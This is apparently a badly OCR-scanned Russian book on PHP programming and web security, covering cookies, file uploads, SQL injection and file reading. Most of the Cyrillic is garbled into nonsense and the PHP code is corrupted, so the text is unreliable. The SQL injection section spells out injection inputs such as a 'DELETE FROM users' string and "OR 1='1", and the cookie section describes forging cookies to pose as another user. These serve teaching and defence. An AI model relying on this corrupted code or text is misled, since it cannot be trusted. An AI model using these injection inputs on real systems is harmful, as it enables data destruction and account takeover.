BOMOKHO, TIPOCTO e CyllecTBYeT cooTercTayiouas DNS-samice. B 91om cysae
pymans gethostbyadz () BosspamacT He i, a IP-azpec, KOTOpbi Bbi yKasTH B na-
paverpe.

Azpec 127.0.0.1 cooTueTcTRYeT MOKATSHOM MAUIMHE, 1 1A 9TOrO anpeca KA, Hale
ecero, bosspautaet i localhost.

5.4.2. Tlpotokonst

JIns RanbHEHIIErO PACCMOTPEHHS TeMsl HEOGXOIMMO TOHWMATS, HTo Takoe nopr. Jlomyc-
Thw, §TO Ha BAUIE KOMTbIOTEpE 3amyuieHsi abe c1yKOb — Web u FTP. Kommsiorep
NIOTYACT NAKET JAHHBIX, HO B HEM HE HATIHCAHO, KAKO CTY AT HYHO OTKTIONHTHEA.
KaKk e TOTZa ONpEAENMTH, KTO A0/DAEH 0GpAGOTaTh STOT NakeT AahHerx? BOT Kak pas
JUIA 91070 1 HETIOTE3YIOTCH HOMEPa. TIOPTOB, KOTOpHE €cTh y pOTOKonos TCP (i ero
npowssoansix — FTP, HTTP, POP3, SMTP i 1p) u UDP.
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public function fetchLines() (
while ((Sline = Sthis->fetch()) != FALSE) {
Sthis->lines[sthis->line] = $line:
Sthis->liners:
)
return Sthis->lines;

public function fetch() (
Sthis->line 4= 1
return Sthis->query->fetch (P

FETCH ASSOC) 5

public function getvalue (scolumnane, Sdefaultvalue) {
if (sthis>line == 0)
[ Sthis>row = Sthis>fetch(); |
Lf (Sthis>row = FALSE || Sthis->row{Scolumnane] == NULL)
{ retun sdefaultvalue; )
return $this->rou(Scolumnane) ;

public function fetchvalue (Scolurnname, Sdefaultvalue) (
Sthis->row = Sthis->fetch():
return Sthis->getvalue (Scolumnname, Sdefaultvalue);

)

public function rowCount() {
return Sthis->query->rouCount (5
)

public function last1d() {
retum Coatabase: :3pdo->lastinsertid();

public static function FetchTableRow($sql, Sparams, Spfx) |
Squery = new CQuery ($sql, Sparams, $pfx);
retumn Squery->feteh();

public static function FetchTableValue(ssql, Sparams,
Scolumn, Sdefault, Spex) (
Squexy = new CQuery ($3ql, Spaxans, Spfx)
return Squery->fetchvalue (scolumn, Sdefault);
)
)
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Creaysouuwi mpiwep 3a3acT Bpens Aciicrains cookie 10 00:00:00 | awBaps 2020 rona:
setcookie ("access”, Saccess, mkcime (0,0,0,1,1,2020) )5

51 Aywato, *To 9TOro “HETA ACCTATONHO 1% MOG0ro cajfra. XoTs B 2020 roxy Bce pasHo
mpwAeTER OTONBMHYTH AaTy. Urob! GAUTO NpOLLE, MOXHO HCTIOTE0BATS KOHCTAHTY A1
BCErO MPWIOKEHHA. A MOAHO MCMIOTBIOBATH MEPBbI BAPHAHT ¢ byHKumedt time, HO
eHb GOTBLIAM IHIUEHHEM NAPANETPa.
JlasaiiTe BCTOMHMM, V1A 4€r0 HyKeH ceanc? OH TIOSBOTAET CONPAHHTS MepeMeHie
“TOGHH oMM GhUTH JOCTYTIHBI TpH MEPEXOXE OT CTPAHHISI K CTPAHMIE, H /IR ITOT0
enonksyioTen Gaikn cookie. A Teneps noxyMalire, Kak 310 peanusyerca? Herpyao
AOTANaTECA, T Ceatc NPOCTO Co3nAeT (aliTl ookle ¢ HYKHEIMH MEPEMEHHBIMH H
YoTananTHBaET WM 158 CBOHCTBA:
3 Bpens 7eHCTBR OCTACTCA MYCTSIM, TOGH! NAPAMETPE! YHHSTOKATHCS TIOGTE 3KPH-
s Gpaysef
O nyrs 1 2owen yeTaamTHBatoTCs Tk, “ToBs: Gaikn cookie Gein ZocTynen peeM cTpa-
Hua cafra.
Bor w sec ceatt.
Caeayiomit ko paspemact A0cTyr k cookie TOTBKO CIIEHaPHRM ) KaTaTora admin Ha
cepaepe profiwebdev.com, . e. cuienapnam ¢ URL http://profwebdev.com/ru u Goree
HHSKOTO YpOBHS:
setcookie ("access”, Saccess, mktine(0,0,0,1,1,2010),
"/2u", "profuebdev.can®) s

Taxot Kon paspeuiser f0cTyn k cookie-TapaAMETPaM TOTEKO 3 OTHOTO aikia —
Iru/index.php
setcookie ("access”, Saccess, mktine(0,0,0,1,1,2010),

/z0/index.php", "profwebdev.con)

A ecn HyKHO cOxpaHTL B cookie NEPeMEHHYIO, KOTOpax conepyT Macchs? Ha rep-
Buif BIrAR, Bce npocTo:

<ptp

Saccess = 3_COOKIE('access' s

Saccess(0)=3access (0141

Saccess (1)=saccess [11+2;
setcookie ("access", Saccess, mktine(0,0,0,1,1,2010));

B IaHHOM MPHMEPE COSTAETCR MACCHB Saccess, B KOTOPOM YBEHSHBAIOTCA SHANCHHA
IBYX eMENTOB. 3HateHvE IEPROFO MIEMEHTa YBETHIABACTCA Ha 1, a BTOPOrO — Ha 2.
3anycrime cuenaphii n OGHOBHTE OKHO Gpaysepa HECKOTBKO pas. OGPATHTE BHHMAHHe,
HTO SHAYEHHE OGOHX 37eMEHTOB HHKOTAA He MPEBHILIAIOT 9, T. €. COCTOAT H3 OTHOTO
cinepona. TloTyMaeTCs, 41O MPOCTO COXPAHHT MEPEMEHHYIO Saccess GYIET HEBEPHBIM
peuichen. HYAHO COXDAHITH KAAIS S7IEMEHT B OTIETSHOCTH, KIKIOC HAUCHHE
B cobcraermom cookie:
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FraBiBIM BpArOM Bee e ABIAETEA TAOGATBHOCTS. Haeioc, w0 y b

o Gyayr or-

TlonpoGyiTe BHINOTHAT cueHapH/i H NOCMOTPETS Ha WM BPEMERHOTO Galina. 1 sarpy-
an i file.txt, a Bpevennsii aiin Guun nasean /tmp/phpml1XXe. Cepaep mmenser
HMS 10 CBOCMY YEMOTPEHHIO, TIOSTOMY PEATBHOE HMS HYAHO GPaTh W3 1apameTpa nare,
. €. M3 PEATBHOTO HMCHH, TIEPEIAHHOTO C KOMITHOTEpA-KTHEHTA.

Bt ZOTAHSI YHHTHIBATS 5TO: NIOGE 3ATPYIKH HYAHO KOPPEKTHPOBATS Tpasd, a HMEHHO
'YOHpaT, Mpasa Ha 3aIACh B Al W BEITIOTHERH, STOGH BTOMIIAK HE CMOT MIOIMEHHTS
ConepuMoe W BHITOTHITS sarpywenHbii cueHapi. O MPABAX AOCTYT B CHCTEME
Linux Moo mposkTas b Kiture "Linux rasawn xakepa® [1].

OGparitre BimMaHHe, TO Y BpeMenHOTO (paiine, KOTOp Gbl 3arpyken Ha cepaep, co-
BEPUICHHO HEUHTAENOE HMA. DTO He CTYHaliHO, BEb 1188 PAVHHIX MOTHIOBATENS MOTYT
arpyKaTh Galil C OANM 1 TEM e HMCHEN,  IpH MOATAHHH BO BPEMEHHYIO TATKY.
Bt MOTYT roMewaTh Apyr ApyTy. HieHa, KOTOpBIE MEpEAET MOTEI0BATENS, He 3
AAOTCA YHHKETHHBINK, H STHM JaHHBIM HETs3% TOBEPATS, TIOSTOMY H MPOHCXOTIT Takas
nomvesa.

Koraa ot KOnWpyeTe Gait B CBO KATAIOT, B MOKETE BEpHYTh OHTHHATSHOE H, HO
TYT Bee e HYAHO YHHTHIBATS, ¥TO TakoH Galil YAKE MOKCT CYILECTBOBATS H B TPOCTO
ToTepRere Meiouecs TasHe

1B TAKHX CTyMaTX OGIYHO HCTIOTS3YR0 KAKOF-TO CHETUMK, KOTOPHIH YHHKATEH.
PACCMOTPHN €llie OTHY KIACCHYECKYIO 4T84y — OTPAHWMEHHE PAIMEPA JATPYKIENOTO
alina. 30 MOAHO CIETATS TpEMS CTIOCOGAMH: ¢ TIOMOLIbIO OFpaHHMEHHS paswepa dali-
18 8 HTML-(OpMe, Ha CTOpOHE CepBEpa H ¢ MONOUISIO NIEPAMETA KOHGHTYPALIHOHHOTO
daitna. Jlna orpamenns 5 HTML-dopue HeoBxomimio A0GamwTs Hepwammoe none
© MMeHeM HA_FILE SIZE, A B KIMECTD SHASCHIS YKASATS HY KM PIMED:

<input types"hidden® name="WAX FILE_SIZE" value="300">

B IHHOM IpHMEDE B KaHECTBE MAKCHMATHOTO PasMepa yKasao swaserte 300 Gar.
aiins1 Gombuero pashepa a cepaep JarpyAaTSCS He GYAYT.

A CTPOKa JOTKHA WITH 20 OTIHCAHKA TIOIA BBOTa HMer daiina. Toraa dopa oTmpar
Kt palina GYET BBIIAZETS CTEYIONIM OGPaION:

"http://phpbook/chapters/15-1-FileUpLoad. php"
Ltipart/fom-data">
<input. type=" MAX_FILE_SIZE" value="300"
<br><input nane="filel” type="file’
<br><input. type="submic” values"Send files™
</torm>

<fom actior

TonpoByire Teneps sarpysiTs (baiin Gonbie paspemennoro paswepa. Ynpasnenue 6y-
T nepenano cucHapHio, HO MpH TOM (Gaiii He GYAET IATPYAEH Ha cepBep, TOITONY
napaveTp paswepa dailna s_FIies("filei) ("aize") Gyzer pasew nymo. Taxiu oGpa-
30M, B PHP-clieHaphi KeTaTeiso J00aBHTS CTEIYIOLLYIo MPOBEPKY, MPEAE HeM Mpo-
"HIBOHTS KoTHpOBaRHE:
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B CaMOM HataTe CLEHAPHS 3ABOIIM NepeNEHHYIO:
<tonp

Saccess = § COOKIE("access") + 17
setcookie("accass®, Saccess);

Cpasy e sawesae, 40 % A0CTYMa K cookies HCTIOTH3YETCA MAGCHB §_COOKIES.
B MPHHLTE, YKe OHEBHINO, KaK PAGOTATS ¢ ITHM MACCHBOM.

ECIH 1lepemenan He CYIECTBOBATA, TO €€ IHAEHHE YBETHWHICA C HYIEBOTO Ha
B clenyioueli CTpOUKe KoTa MBI COXpAHAEM SHAUCHHE nepevennod b aiire cookie.
B HTML-Koze NPOCTO BHIBOIIM Ha CTPAHHLY COOGUICHH:

<o

print (B e a7y crpaway Saccess pas)

anycrure cuenapwii n oGHOBHTE CTpaNIL HeckonsKo pas. CeTK GyxeT yBen -

Bateca. Kax 570 npowcxomur? Kaxit pas, KO Bt OGHOBTRETe CTPaNHLY, Gpaysep

KIHENTa BUANT, 40 1% JaHHOR CTPaWLL €CTh (aiin cookle, H OTIPABTAET ero Cepre-

py. Conepainmoe cookie Gyler OTTIPABTATLCA CepBepy He TOTbKO npw sanpocax HTML

(npw oGpauenn k PHP-pafinav), Ho # IpH 3aNpOCAX Ha 30rpy3KY KAPTHHOK HIH ADYTHX

Pecypcon ¢ 9Toro e caiira, ecn URL COOTBETCTBYET npanwiaw, yKasanisin y cookie.

Himepnperatop PHP cosnact PHP-MIEpeMEHHbIE ¢ TaKInM e HMEHEM, KIK Y TiepeMeHHOR

cookie, 1 Bt MoXeTe paGoTaTS ¢ HiMH B (afine cueHapHs.

ECH 3aKpHTH CTPARHILY W SATPYMTH €& 3AHORO, TO CHETUMK GyaeT cOpowen. Daitn

ookie He CONEPKHT CPOKA XPAHEHIS, M09TOMY OH GbL1 YAQTEH NIOCAE 3AKPbITHS Gpayse-

pa. Ecin e yKasano npexs ZCHCTOH, 7Tk HxenHe pyki cookie npespamiacres

B ceariconyio nepemennyio. Ona paSoract Kkax cearic. Uro0bi 5Toro e mposomwT0,

B TpeThem napaueTpe HyKHO yikaaTs Bpenn aeicTBA cookie. JLia SO0 Haue Beero

HCTIOTL3YIOT OH 13 ABYX CIIOCOGOB.

O JI1% KPATKOBPMCHNOTO XpanGHis MapANETPOB MOAHO MCTOAIORATE (yHKITO
tine (), KOTOPAR BOBPAULAET TEKYULEE BPEMA b CexyIAX. K 5ToMy Bpemern npuGar
AREM KOTHYECTBO CEKYHI, B TEUCHHE KOTOPOTO HYAHO XpaHHTS napaerp. Hanpi-
Mep, TIapAMETP JOIKeH GhITh JOCTYTIEH B Tederme 10 MHHYT 110G 3arpy3KH CTpaHH-
L1, TO MOAHO PEATHIOBATS, NIEPENAUEi B KAUECTBE TPETHEND NAPAETPA ByKIH
Setcookie() IHAMEHNA ine () +600. TAKOE KPATKOBPEMENHOE XPaHEHyE NAPaMETPOB
HCTIOMB3YETCA B CTYHaAX PaGOTH! B OGIACTAY, TPEGYIOWNX aTopHsaUMH. ECTi B Te-
senme 10 MHHYT He GBLIO aKTHBHOCTH, TO cookie YIQIAETER 1 TIONB3OBATENO HeoD-
XOIHMO 33H0BO MPOXOIHTS BTOPHSALLO. MOXHO HCTIOTH30BATS W HACIIA TIOGOTBIe:
time()+60 * 60 + 24 * 100. Taxofi cookie nponekHT Ha ceppepe 100 anei, noromy
10 M YMHOKITH 60 CEKyHA Ha 60 MHHYT, OTOM a 24 vaca  Ha 100 ek

0 [l Z0ATOBpEMENHOTO XpaNEHHA NapANETPOR MOHO YKIATS ZOCTATONHO GoTbiyIo
AATY ¢ TIOMOIbO hyKILAH mitime (). IO (GYHKLHI IEpEAAETCA 6 NAPAMETPOB, o1~
enenmIoUIX BpeMS KoHI ACHCTEHA COOKe: HaCH, MHHYTH, CEKYHIb, MECALL THCIO,
ron. OGpaTHTe BHMHMaMHe, O MECAIL WACT PaHbIIC 7aThi. B HEKOTOPHIX CTPAHX H-
MOK3yTCR APYTOf (OPMAT, F1E CHANATA HICT T, 3 IOTOM YKE MECALL
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'PACcMOTPHM KIBCCHYECKYIO JaIASY © HEKTPOHHHMH TOSTOBIMH suuKaNi. JIoyCTHN,
“To GecraTHuii NOWTOBSIH cepBHC CoXpaRAET B Gaiine cookie NapAMETPHI K0CTYMA
K TIOSTOBOMY AULUIKY, TOGH! MTPH TIOC/EAYIOULEM BXOE B CHCTENY e MPHULIOCE BBOTHTE
naHBE 3aH0B0. XaKep CO3IAET ceGe ALK W nonysaeT ool cookie. Tereps HeoBxonH-
Mo HIMEHITS B (baiin TaK, STOG NOYTOBAA CHETEM TIPHHATA BAC 3 APYFOFO M0TB30-
Barens.

Jlomyeriw, 410 & cookie COXpAHEHO Tekyulee HMA NOTEI0BATENA. Cepbep NpoBEpACT:
ccam » cookie €cTh HMA, TO MOXHO ABTOMATHNECKH AOBEPATS €MY. 3TOYMBILLIEHHHK
MOXET 32T Ha CallT 101 CBOMM HMEHEM, A TIOTOM TIONERATS cBoM Cookies-3HasCHHA Ha
Apyroro nosoRaTens.

Hinpopwawna 3 paiinon cookies 07K YTPOILETS ABTOPHIAIINIO, HO HE JAMCHAT ce,
TI03ToMy XPAHWTE TAM TOTEKO HNEHA TIOT30BaTEAEH. TTapoTH W H0GYI0 APYTYIO Hichop-
MALII0, WAEHTHHUMPYIOILYR0 TIOTSIORATENA, HEOGXOTMO XPAHMTS OTIEALHO, A Tyviuie
3ACTABIATS MOAKIOBATENEH BBOTHTS Ce NIPH KAKIOM BXOIE

B erysae ¢ nowmoBofi cHeTewol b cookies MOAHO COXPARWTE TONBKO CECCHIO, @ B Tlepe-
MEHHEIX CeCCHH YKE YKEATS, K KAKOMY TIOSTOBOMY AULAKY TIPHHAIEKHT Cecchs. Xakep
BCe ellie MOKET TIOMEHTS 3Hasene cookie CeccHi 1 MOMbITATHCA NEPEXBATHTE UYAYIO
EGCHIO, HO TYT YAe BOE SABHCHT OT TOTO, KIK YHHKATHHO 310 SHAHEHHE H KAk CIOAHO
‘npeckasars waewHmKaTop ceccun. Tlo ymomamiio b PHP HETOTL3YIOTCR A0CTATOMHO
CIOKHHE 1A 101G0PA WAEHTHOHKATOPH.

‘Creayioui BOTPOC XOTA H He KACACTCA GE30TIACHOCTH, HO % PEWHT BCE e PACCMOT-
PeTh €10 37eck — paep HaseHHH, KOTOPHE MOAHO XpaHHTS B cookie. Ta Kak T
HaueHHa Gy YT 1EPENABATECA MEAY GpaYIEPOM M CEPBEPON IpH KKIOM JATPOCE, e~
AATEALHO HE COXPAHATS GOABUINX AGHHBIX. B cookie MOXHO TIOMECTHTE HEGOAbUIYIO
CTPOKY I SHCTO, HO He CTOMT NIOMEIATS TYAR KHTOGAHTHI AQHHBIX, WHase KaAbIH
ATIPOC K CEPBEPY YBEAHHHTCA Ha KIIOGANT.

Tlph HbHEWHIN CKOPOCTAX KHTOGAT JaHHbIX — NPAKTHECKH HESHQHTENLHAS HiDOp-
Matwss. Ho He 3aGisaliTe, 470 10T KIIOGAHT GyIeT OTIPABISTCA K CEpBEpY © KAKIHIN
sanpocow. Eciis CTpamitia cocTowT w3 20 KapTHHOK (BIOTHE peabHas cHTYauAS), TO
Gpaysepy npuETeR OTIDABHTE 20 3ANPOCOB Ha KAAIYIO KAPTHHKY, W 3TO Yke GYIeT
20 Kaiir. Ecnm onwospeveno K cairy obparies 1000 uenosex, To oTo yxe Gyaer
20 MGalfr aGc0mOTHO HeHyKHOM HHbOPMALIHH, KOTOPaS NPORIET 110 ceTH.

Ecan TpeGyeTcn COXpaHMTS re-To KWIOGAHT Ak Wik Goree, TOAYMANTE O ToM,
TOGH HETIOTBI0BATS CecCHM.

2.14. Zaiinux

PaGora ¢ Gaiinaws — HaHGoEE HHTEPECHS Tema ¢ TONKH SpEHHs GE3eTIACHOCTH B STOM
rase. B creyioutei £aBe Mbi OGCY M HE MEHEE HHTEDECHHE BOPOCH. A 110K 1po-
AOTKACM NOCTENEHHO ABMATLES OT TPOCTOTO K CAOKHONY.

His-3a HenpaswabHOO oGpateha K Gaiiionoli cHETEMe Ghuio BTOMaHO GOTHIIoE K-
secTso cafiros. JlioGoe oGpauienwe K cHCTEME onacko, a K (pailnoBoi cHeTeMe — BABOH-





index-19_1.jpg
OcHoss PHP 2

Jlaafire nonpoGyew sTo-HkGyas wanvcath Ha aseike PHP. Tlepsoe, ¢ Hero MOXHO
HANATS, — HAIEWSTATS KAKOF-AHOO TEKCT  YIHATH WHGOPMAILAIO 06 YCTAHORTEHHOM Ha
cepaepe mmepnperatope PHP. Jlta storo cosaaiire aiin information php co creyio-
i conepAMBIM (HcTr 2.1).

[ e 21, Binon whopusn o8 wepreTaTops PHE

<henl>
<hoad>
<title> Test page </title>
</reac>

<body>
pravid

print ("<p>This is infomation about php</p>")
phpinto();

</body>

<hem>

Sarpysure ¢ nowoutsto FTP-mena o107 aita Ha sau Web-ceppep wim nowecrime
B DAy CepBEpa Ha TOKATHHOM JWICKE, €SI B HCTIOTSAYETE TOKATHYIO Bepero, Tereps
sarpysie (baiin ¢ noMOUIsK0 Gpaysepa. Ecn bbi TIOMECTIH (aiin b KopHEBOH KaTaor
ceprepa, TO b axpechofi cTpoke Gpayacpa HyaHo WaGpats hitp://phpbook/chapter2/
121.php, 12 phpbook — 5T0 MMA BAIETO cepBepa. PEsyTLTAT BHIOTHEHHS ClicHapHS
Moo yBHzeTs Ha prc. 2.1

‘Taxoli cuenaphii “aute BCErO HCTIOA3YIOT I TECTHPOBAHN PAGOTOCTIOCOHOCTH cep-
Bepa, mpasinsHoCTH yeTanoski PHP # noysenis napaveTpos. PaccuoTpi, uTo ects
B JaHHOM CiteHapii. Mexty Terawh <7chp H 2> PaCTIOAOKEHM ABE CTPOSKH KOMAHI:
print ("<p>This is information about php</p>");

Bhpinto();

B nepoofi CTpOUKe BHOHBAETCA GYHKINA princ (). C €6 IONOULBIO MOXHO BHBOIHTS
B OKHO Gpay3epa KaKOH-HHGY.T TEKCT. Kak Mt YKe JHAEN, 1A BHIBOTa TIPOCTORO TekcTa
RocTaTouHO HenoMs3oBath HTML, HO b AQHHOM CTYHGE % XOTEN NOKASATS, KEK IT0 A€na-
etca nocpencTaow PHP-bywkui. B TaTbHeHuIeM Mt MIOHAKOMHMCA ¢ STOM dymkueli
Goree N0ZPOGHO, a MoKA AOCTATONHO GYAET OCHOBHAIX ChEHHH.

JlioGas PHP-DYHKI MOET TIOTYSaTS MapaNETP, KOTOpHE YKEIHIBAIOTCA B CKOGKaX
Hoce mwert by, JUTR (yHKIH print () b CKOGKaX HYHO JATATH TEKCT, KOTOpI
omKen G, HaneuaTa b Gpayiepe KenTa, TeKCT 3aKTiouacTea B ABOHNHIC W OTH-
Haphste KaBbraKn. TIOCMOTPHTE Ha TEKCT, KOTOPHH M YKG3aTH, # Bl YBWIATE, 4TO
8 Hew ccms HTML Tern <p>, KOTOpsie HeOMsyIoTes /uia Oopwnehns. maparpaos.
Texct wower Wi iepemeniky ¢ HTML-Tera, 1 ero MOAHO hopmaTHpoBaTs.

He SHAIO, €CTS 71 TaKOE TIPABILIO, HO THIHO % HE PEKOMERAYIO KCIIOL08ATS yHKIINIO
Print() 1% BHBONA TeKCTa. B PEATHHBIX YCAOBHRX OH AOTAIA HCTIOTHIOBATLES ATH
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C yeTanopKofi pasoGpaics. A Kak e oo yxanrh cookie? Hirkaxve sonomiren
Hble yHKLUIH He HyKibi. JIOCTATONHO TOTHKO YCTAHOBHTS APAMETP © HYKHbIM Wi~
HeM, HO TpH STOM YKA3aTh HYIEBOE SHGHEHHE BPEMEHH €ro Ak, TaKine 0GPaow, na-
pawerp Gyset yranen w3 cookie npw saxpbri Gpaysepa. Hanpiwep, caexytoui kox
VAT napaveTp access:

setcookie ("access™) ;

Ho yriie ykasaTs, BpeMS KI3HH B NPOULTON:

setcookie("access™, 0, mktime(0,0,0,1,1,2000));

3neck enserca suasienne cookie MepeMenHOf, A yKashiBako 2000 oI, KOTOpHI YKe
1ABHO TpOLLIET, ¥ 5TO JHaEHHE GYACT ABTOMETHHECKH YITCHO GpayIepoM H3 XpaHIH-
s, KaK yeTapesuree

OHa CTPAHHLA MOXET YCTAHOBHTS HECKOTHKO NGPAMETPOB, HO YIWIeH GYIeT ToTsKO
access, & BeE MPOHE OCTAHYTCA Ge3 HMEHEHHH.

HanOGE 0K HEOBXOTHMO CERATh OTHO 3AMENAHHE — HMA TIEPEMENHOT MOKET COCTO-
#Th TOTBKO 83 TATHHCKIOX GYKS, LA(DP, CHMIBOA0B IOTHEPKHBalA Wi 7eicos. Bee oc-
TATHHOE JATIDELLEHO H MPEOGPAIYETCA K CHMBOTY MOTHEPKHBaHHS. HanpiMep, ecam bt
HAIBATH MEPEMEHHYIO KAK $Test (e, TO TIOCTE BHITOTHERHA GYHKLMK setcookie () HMA
TpeoGpasyeTcA B sTest. .

TIOGAENa B TOM, HTO HMEHa TIEPEMEHHEIX HE MOTYT COTEPAGTE CHWBOAH, OTAWAHEE OF
KX GyKs, nonuepkupaHs W Aedca, noxTowy B cookie AeficTayer Takof e
SAMPET, MHAYE HETL3A GYET COIATS Mepementyio. Takity OGPAIoN, HeTs3 OGPATHTECH
K IepeMeHHOM $Testie, HO TPH ITOM MOKHO MOTIWTATHCS CAETATS 37O HEpes MACCHB
CaexyIOmIM OBpIION: _COOKIE ("STestake"]. TONBKO MOMITKA OKIKETEA HEYAAHOH
(861 TOTYSHTe HyTEBOS JHAYEHME, TOTOMY HTO TEPEMEHHAA Gbiria MEPEHMEHOBAN3,
HYXHO THCATS: 5_COOKIE. ("$Test._Ve™]).

2.13.3. BesonacHocTs cookie

@it cookies aGCoTOTHO HEGE3ONACHH 1A XPAHEHHA BXHO WHPOPMALIOH, 1 WM
0BepATS HETBA. B HIX He JOTAHO XPAHHTSCH HIENO NPHBATHOTO, “TO MOXET HIOBTH-
#Th Ha GE30MACHOCTE MOTK3OBATENA B CHCTEME H Ha GE3OMIACHOCTH CaMOTO cepsepa. Cy-
LECTBYeT MHOX€CTBO crIocoGoB sasaazeTs wyxn daitnawk cookies:

3 oumbxn » Web-Gpayacpe;

3 oumGHH B cueHapHAX, MoIBORIOUIHE BCTPOHTS JavaScript-Kox B HTML-popwy;

3 TposHckHe mporpany.

Xaxep moker n nojvienars haii. /L1 STOrO Hailie BCEro MPOMIBOIT Te e AeHCTBNA,
KOTOPHIE MOKET BEITIOTHMTS MOLIOBATEN, H B PE3YALTATE Ha DICKE BIOMUIIKA MOB-
nerca Gaikn cookie. Cenyiowny STaniom Gyzet momenka cookie TakHM 0Gpasow, uro-
G5 OH CoOTBETCTBOBAT APYTOMY MOAB30BATE IO, Bpaysepss Chrome w Firefox npestoc-
TABIAIOT YIIOGHBE CPEXCTBA LA PEAGKTHPOBIHHS COBCTREHHBIX JHaverHi cookies, no-
STOMY MOME30BATEITs MOXET HIMEHHTS HX.
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seLct +
FROM Users

0;DELETE FROM users /*

Temeps noTEUHAR CTPOKS GYAET BOCTIPHHNMATSCH CEPBEPOM Ga3 ABHKX HMEHHO
KIK KOMMEHTapHL

TIpw paspaGoTKe 3aTpOcOB BB MOKETE 3aKTIONATS SHINEHIA 5 OIHHAPHHIE KABHISKH Wik

oTKaBaTOCA OF HX HCMOs30BHY, HATPHMEP, CIEAYIOUE 188 SATPOa HIEHTHIH:

sezeer

£RoH Tatmua

WHERE 1de1

"

sgscr +

R Taomaia

WHERE 1de'1"

B eppow 3anpoce shatenve N0 1 CPABHHBACTCA CO SHASEHHEM 1, 3 BO BTOPOM 3ATpo-
& SHEII0 SAKCTIONEHO B OTHHAPHHIE KABBIAKH. KaBbiSKi ABIAIOTCA OGFIATELHbIN, TOTS-
KO €CH 3HaYEHHE COTCPAHT MPOGE, & IHAHHT, HMEET CTPOKOBIE THIL, HO & PEKOMEH-
Ao Henomssonats Hx acera. Tovewy? JlomycTiy, 4TO BMECTO 4nCia | y Hac QHYpH-
PYET 3HateHve nepemenHof, KOTOpax NpenAETes 5 MpOTpaNy ronbsopaTesew. Ecin
XAKED NIEPENACT B KavecTBe IHAYEHNA YIPARIAOUIE CHVBOTH A36iKa SQL, TO 3ampoc
6yeT BHARLETS CeAYIOIHM 0GpaION:

Be 9TH CHMBOTTS! HMEAOT OTIDEETICHHEIH CMBICT, HO TOTKO BHE KABBINEK I IpH Cpas-
HEHMH C TIOMOLIBIO ONEPATOPa LK. B AGHHOM CAYHaE O BOCTPHIHMAIOTC KK CTPOKE
M HE MOTYT IOBTHATS Ha PAGOTY ClieHapHA. EIMHCTBEHHOE, TO HEOGXOMHMO BHIDEATS
¥ TiepemenHOM, — Kabbriky. ECTH M7b30BATEITh CMOKET ¢ NIEPENAT ClIEHAPHO, TO O
emomer 1 mpommecry araxy SQL Injection. Hanpmiep:

sewscr +

FROU Tatmusa

WHERE id='1' OR 1='1

B KAYECTBE JHaHEHHS NEEMEHHON XaKEp MIEPELT CTPOKY 11 OR 1='1, B KOTOpO niocie
HCA | 0KPHLIACE KABHIKD, H AOGARTEHS! TOTOARKTEHE NApaMeTpHi B SQL-3anpoc.

KaBHiiKy MOXHO H He BHIpE3ATS, a ZYGTHPOBATS, W TOTZA OHA MOTEPAET CBOK OMACH
caoficrea. JlonycTi, o y Hac €cTH KoA:

St = mysql_query ("SELECT * FROU users WHERE id="
D user_role = 1 7);

s GeT(ia).

B 3T0M mpiepe Mt BumoTHAeM SQL-3aNpOC MOHCKa 3 TAGTHUL MOALSOBATENK 1O
WICHTHHKATOPY. 3HaYeHHE WICHTHOHKATOPA EPEIACTCA B KASECTBE GET-TapANETPA





index-91_1.png
Ochosss PHP. 9

KOTZA K calfTy OGPALLIIOTES COTHM THES' YETOBEK, TO HESHAUHTETHSIE TIOTPH YMHO-
KAIOTCA Ha COTHH THICAY, 1 370 Yk CTAHORMTES GOIICE CEPheRNON MPOBENOF.

Tpwseienmsli AaTiee MPHMEP NOKASHBAET, KaK MOIHO ATPY3HTS Baiii B MAcCHS W OTO-
6paurms ero wa kpane:

L (Saxr=£ile("/var /wes/htnl/1/testEile. tt®) , "re")
«
for (1=0; $i<count (Saze); $i+4)
«
printe ("<BROs", Sarr(sil);
'
)

Creayiouas dywkus, KOTOpYIO Mbi GyAem paccMaTpHBaTh, — fgetc (). Ona Bosmpam-
€T OnMH CHMBOT H3 (palkia, TIOSTOMY B KANECTBE NIGPAMETPA ZIOCTATONHO YKAXATS TOTHKO.
A€cKPHITIOP (Gaiiia, H3 KOTOPOrO HYAHO SyTaTs. B KavecTRe PenyABTAT (YKL BEp-
HET HaM OTHH CHMBON B BHIE CTPOKOBOF TIEpeMEHHOS

string fgetciint £)

1 ZyMato, STO TPHHILAI PAGOTS! (byHKLUAH £getc () IOHKTEH G€3 JONOTHHTENLHOTO MpH-
wepa.

Ecan 20cTHrHyT konew (paiina, To ee GyHKIUH Bompamaior sHatenHe false. Ecn a-
pALIBACNOE KOTHIECTBO CHMBO/IOB MEHBIIE, HeM oCTATOCk B paiine, To ynKiH B03-
BpauiaioT ocTapukecs cHMBOTH.

Eile pas HanoMiHaio, “ITo D “ITEHH W BIBOAE JAHHWBIX Ha OKDAH BCE TETH B TEKCTE
aiia GyayT axTsbisH. EGTH IPOCTO BHIBECTH PEsyTbTar b Gpaysep, To Gpaysep Gyzer
Henos08aTh Tern A1a (opwaTApOBaNNA. HCKTONCHHEM ABTACTCA (ByYHKIINA £5ets (),
KoTopax yranser Term. Ecnu ailn MOKET HANOTHATACH NOTSIOBATENCN, TO OGATETBHO
yaansie Tern.

51 HECKOTSKO a3 BHIEN 7EHTH HOBOCTEH, KOTOpHIE XPAHAT NIOCAEHHE HOBOCTH B paiine.
ECa noceTHTe: caiTa MOFyT CaMOCTOATEIIsHO SI0GQBISTS HOBOCTH, TO TIEPEX COXpaHE-
HUEM HOBOCTH W 10C/Ie SATPY3KH HE TIONELLAIO Gbl YATEHHE Terop. B KacToAIEE BpEMs
GaliTOBbIe HOBOCTHHIE EHTHI BCTPENAIOTCA YKE PEXE, TIOTOMY HTO BOE CTApAIOTEA He-
TONB30BATS Gostee HEKTHBHOE CPEICTBO XPAHEHHS HHQOPMALIH — Gashi AHHbX.

2.14.4. [lononHuTenbHLIe PYHKUMU UTeHus

JIOMYCTHM, SO HaM HEOGXOHMO TPOCTO BHIBECTH Ha CTPAHHLLY CONCPAHMOE Ompee-
JeHHOrO aiina. JUI% STOrO €T 16e GYHKUMH: fpassthru() W readtile (). Paviiine
MEXY HHMH COCTONT B TOM, HTO TepBO/i TEEAETCR JECKPHITTOp OTKPHITOTO baiina, 1
OHa BHIBOHT Ha SKPaH BCE CONEPAIMOE, HaNHHAA ¢ TeRyuLeH TIO3HH. BTOpOH nepea-
TR 1A paliia, W OHa CaM OTKPHIBAT (pai, WHTACT AHHC, BHBOTHT Ha CTPAHMLY 1
saxpiBact ait.
Hanpivep:
i€ (3e=topen (*/var /ww/html/1/test i le. txt", "2"))

